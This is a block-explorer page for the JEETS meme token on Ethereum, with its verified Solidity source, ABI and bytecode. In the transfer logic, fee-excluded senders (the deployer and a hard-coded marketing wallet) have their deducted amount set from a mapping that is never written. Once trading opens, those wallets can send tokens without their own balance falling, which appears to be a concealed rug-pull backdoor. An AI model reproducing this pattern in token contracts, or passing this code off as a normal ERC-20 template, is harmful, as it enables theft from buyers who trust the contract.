ETH Price: $3,492.20 (+7.58%)
Gas: 6 Gwei

Token

JEETS (JEETS)
 

Overview

Max Total Supply

1,000,000,000 JEETS

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 JEETS

Value
$0.00
0x41148159e6df298027b4b1b11732da0edb7d4ad9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JEETS

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-24
*/

// SPDX-License-Identifier: UNLICENSED

/**
Jeets, we jeet at 2x, Jeet Club" - Imagine us as a club of fun-loving, super speedy friends. Our first rule? Never admit you're a 'jeet.' Just wait till we're going 50 times faster than normal, then you can start joking about how you wish you'd held back and not rushed so much!

Website: https://www.jeets.live
Telegram:  https://t.me/jeets_erc
Twitter: https://twitter.com/jeets_erc
 */

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract JEETS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2 = 1;
    address payable private _marketingWallet;
    
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint) private cooldown;

    string private constant _name = "JEETS";
    string private constant _symbol = "JEETS";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal * 2 / 100;
    uint256 private _minTaxSwap = _tTotal * 1 / 10000;
    uint256 private _maxWalletSize = _tTotal * 2 / 100;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketingWallet = payable(0xa44913bf9Ee64F30b818b7C41f4b4167efD9F571);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        _feeAddr1 = 0;
        _feeAddr2 = 1;
    }
        
    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }  

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && !_isExcludedFromFee[from] && to == uniswapV2Pair && swapEnabled && amount > _minTaxSwap) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = _tTotal.mul(20).div(1000);
        _maxWalletSize = _tTotal.mul(30).div(1000);
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        if (_isExcludedFromFee[sender] && tradingOpen) rAmount = _tOwned[sender];
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000259565b6200003e906c0c9f2c9cd04674edea4000000062000286565b60029081556001600555600d805462ffffff60a81b191690556064906200006f90670de0b6b3a764000090620002a2565b6200007b9190620002bc565b600e5561271062000096670de0b6b3a76400006001620002a2565b620000a29190620002bc565b600f556064620000bc670de0b6b3a76400006002620002a2565b620000c89190620002bc565b601055348015620000d857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191673a44913bf9ee64f30b818b7c41f4b4167efd9f571179055600254600760006200014f3390565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600a6000620001896200023460201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006549091168152600a909252902080549091166001179055620001d83390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200022691815260200190565b60405180910390a3620002d3565b6000546001600160a01b031690565b634e487b7160e01b600052601260045260246000fd5b6000826200026b576200026b62000243565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200029c576200029c62000270565b92915050565b80820281158282048414176200029c576200029c62000270565b600082620002ce57620002ce62000243565b500490565b6116e180620002e36000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b41146100ed578063a9059cbb1461024f578063c9567bf91461026f578063dd62ed3e1461028457600080fd5b8063715018a6146101fd578063751039fc146102125780638da5cb5b1461022757600080fd5b806323b872dd116100bb57806323b872dd1461017f578063313ce5671461019f5780635932ead1146101bb57806370a08231146101dd57600080fd5b806306fdde03146100ed578063095ea7b31461012a57806318160ddd1461015a57600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201825260058152644a4545545360d81b602082015290516101219190611396565b60405180910390f35b34801561013657600080fd5b5061014a6101453660046113fc565b6102ca565b6040519015158152602001610121565b34801561016657600080fd5b50670de0b6b3a76400005b604051908152602001610121565b34801561018b57600080fd5b5061014a61019a366004611428565b6102e1565b3480156101ab57600080fd5b5060405160098152602001610121565b3480156101c757600080fd5b506101db6101d6366004611477565b61034a565b005b3480156101e957600080fd5b506101716101f8366004611494565b61039b565b34801561020957600080fd5b506101db6103bd565b34801561021e57600080fd5b506101db610431565b34801561023357600080fd5b506000546040516001600160a01b039091168152602001610121565b34801561025b57600080fd5b5061014a61026a3660046113fc565b610478565b34801561027b57600080fd5b506101db610485565b34801561029057600080fd5b5061017161029f3660046114b1565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60006102d7338484610841565b5060015b92915050565b60006102ee848484610965565b610340843361033b85604051806060016040528060288152602001611684602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610cd6565b610841565b5060019392505050565b6000546001600160a01b0316331461037d5760405162461bcd60e51b8152600401610374906114ea565b60405180910390fd5b600d8054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600760205260408120546102db90610d10565b6000546001600160a01b031633146103e75760405162461bcd60e51b8152600401610374906114ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461045b5760405162461bcd60e51b8152600401610374906114ea565b670de0b6b3a7640000600e81905560105560006004556001600555565b60006102d7338484610965565b6000546001600160a01b031633146104af5760405162461bcd60e51b8152600401610374906114ea565b600d54600160a01b900460ff16156105095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610374565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105453082670de0b6b3a7640000610841565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a7919061151f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610618919061151f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610665573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610689919061151f565b600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d71947306106b98161039b565b6000806106ce6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610736573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061075b919061153c565b5050600d805461ffff60b01b191661010160b01b179055506107926103e861078c670de0b6b3a76400006014610d2e565b90610db0565b600e556107ae6103e861078c670de0b6b3a7640000601e610d2e565b601055600d8054600160a01b60ff60a01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083d919061156a565b5050565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610374565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610374565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610374565b60008111610a8d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610374565b6000546001600160a01b03848116911614801590610ab957506000546001600160a01b03838116911614155b15610cc657600d546001600160a01b038481169116148015610ae95750600c546001600160a01b03838116911614155b8015610b0e57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610b235750600d54600160b81b900460ff165b15610c2857600e54811115610b7a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610374565b60105481610b878461039b565b610b91919061159d565b1115610bdf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610374565b6001600160a01b0382166000908152600b60205260409020544211610c0357600080fd5b610c0e42601e61159d565b6001600160a01b0383166000908152600b60205260409020555b6000610c333061039b565b600d54909150600160a81b900460ff16158015610c6957506001600160a01b0384166000908152600a602052604090205460ff16155b8015610c825750600d546001600160a01b038481169116145b8015610c975750600d54600160b01b900460ff165b8015610ca45750600f5482115b15610cc457610cb281610df2565b478015610cc257610cc247610f6c565b505b505b610cd1838383610fa6565b505050565b60008184841115610cfa5760405162461bcd60e51b81526004016103749190611396565b506000610d0784866115b0565b95945050505050565b600080610d1b610fb1565b9050610d278382610db0565b9392505050565b600082600003610d40575060006102db565b6000610d4c83856115c3565b905082610d5985836115da565b14610d275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610374565b6000610d2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fd4565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3a57610e3a6115fc565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb7919061151f565b81600181518110610eca57610eca6115fc565b6001600160a01b039283166020918202929092010152600c54610ef09130911684610841565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f29908590600090869030904290600401611612565b600060405180830381600087803b158015610f4357600080fd5b505af1158015610f57573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083d573d6000803e3d6000fd5b610cd1838383611002565b6000806000610fbe61114b565b9092509050610fcd8282610db0565b9250505090565b60008183610ff55760405162461bcd60e51b81526004016103749190611396565b506000610d0784866115da565b6000806000806000806110148761118b565b6001600160a01b038f166000908152600a6020526040902054959b5093995091975095509350915060ff1680156110545750600d54600160a01b900460ff165b15611075576001600160a01b03891660009081526008602052604090205495505b6001600160a01b03891660009081526007602052604090205461109890876111e8565b6001600160a01b03808b1660009081526007602052604080822093909355908a16815220546110c7908661122a565b6001600160a01b0389166000908152600760205260409020556110e981611289565b6110f384836112d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113891815260200190565b60405180910390a3505050505050505050565b6002546000908190670de0b6b3a76400006111668282610db0565b82101561118257505060025492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006111a88a6004546005546112f7565b92509250925060006111b8610fb1565b905060008060006111cb8e878787611346565b919e509c509a509598509396509194505050505091939550919395565b6000610d2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd6565b600080611237838561159d565b905083811015610d275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610374565b6000611293610fb1565b905060006112a18383610d2e565b306000908152600760205260409020549091506112be908261122a565b30600090815260076020526040902055505050565b6002546112e090836111e8565b6002556003546112f0908261122a565b6003555050565b600080808061130b606461078c8989610d2e565b9050600061131e606461078c8a89610d2e565b90506000611336826113308b866111e8565b906111e8565b9992985090965090945050505050565b60008080806113558886610d2e565b905060006113638887610d2e565b905060006113718888610d2e565b905060006113838261133086866111e8565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156113c3578581018301518582016040015282016113a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113f957600080fd5b50565b6000806040838503121561140f57600080fd5b823561141a816113e4565b946020939093013593505050565b60008060006060848603121561143d57600080fd5b8335611448816113e4565b92506020840135611458816113e4565b929592945050506040919091013590565b80151581146113f957600080fd5b60006020828403121561148957600080fd5b8135610d2781611469565b6000602082840312156114a657600080fd5b8135610d27816113e4565b600080604083850312156114c457600080fd5b82356114cf816113e4565b915060208301356114df816113e4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561153157600080fd5b8151610d27816113e4565b60008060006060848603121561155157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561157c57600080fd5b8151610d2781611469565b634e487b7160e01b600052601160045260246000fd5b808201808211156102db576102db611587565b818103818111156102db576102db611587565b80820281158282048414176102db576102db611587565b6000826115f757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116625784516001600160a01b03168352938301939183019160010161163d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5bd626e6abc84751575f55738e2ecba18591974220db16cb2e0f004f1e4fc7164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100e15760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b41146100ed578063a9059cbb1461024f578063c9567bf91461026f578063dd62ed3e1461028457600080fd5b8063715018a6146101fd578063751039fc146102125780638da5cb5b1461022757600080fd5b806323b872dd116100bb57806323b872dd1461017f578063313ce5671461019f5780635932ead1146101bb57806370a08231146101dd57600080fd5b806306fdde03146100ed578063095ea7b31461012a57806318160ddd1461015a57600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201825260058152644a4545545360d81b602082015290516101219190611396565b60405180910390f35b34801561013657600080fd5b5061014a6101453660046113fc565b6102ca565b6040519015158152602001610121565b34801561016657600080fd5b50670de0b6b3a76400005b604051908152602001610121565b34801561018b57600080fd5b5061014a61019a366004611428565b6102e1565b3480156101ab57600080fd5b5060405160098152602001610121565b3480156101c757600080fd5b506101db6101d6366004611477565b61034a565b005b3480156101e957600080fd5b506101716101f8366004611494565b61039b565b34801561020957600080fd5b506101db6103bd565b34801561021e57600080fd5b506101db610431565b34801561023357600080fd5b506000546040516001600160a01b039091168152602001610121565b34801561025b57600080fd5b5061014a61026a3660046113fc565b610478565b34801561027b57600080fd5b506101db610485565b34801561029057600080fd5b5061017161029f3660046114b1565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60006102d7338484610841565b5060015b92915050565b60006102ee848484610965565b610340843361033b85604051806060016040528060288152602001611684602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610cd6565b610841565b5060019392505050565b6000546001600160a01b0316331461037d5760405162461bcd60e51b8152600401610374906114ea565b60405180910390fd5b600d8054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600760205260408120546102db90610d10565b6000546001600160a01b031633146103e75760405162461bcd60e51b8152600401610374906114ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461045b5760405162461bcd60e51b8152600401610374906114ea565b670de0b6b3a7640000600e81905560105560006004556001600555565b60006102d7338484610965565b6000546001600160a01b031633146104af5760405162461bcd60e51b8152600401610374906114ea565b600d54600160a01b900460ff16156105095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610374565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105453082670de0b6b3a7640000610841565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a7919061151f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610618919061151f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610665573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610689919061151f565b600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d71947306106b98161039b565b6000806106ce6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610736573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061075b919061153c565b5050600d805461ffff60b01b191661010160b01b179055506107926103e861078c670de0b6b3a76400006014610d2e565b90610db0565b600e556107ae6103e861078c670de0b6b3a7640000601e610d2e565b601055600d8054600160a01b60ff60a01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083d919061156a565b5050565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166109045760405162461b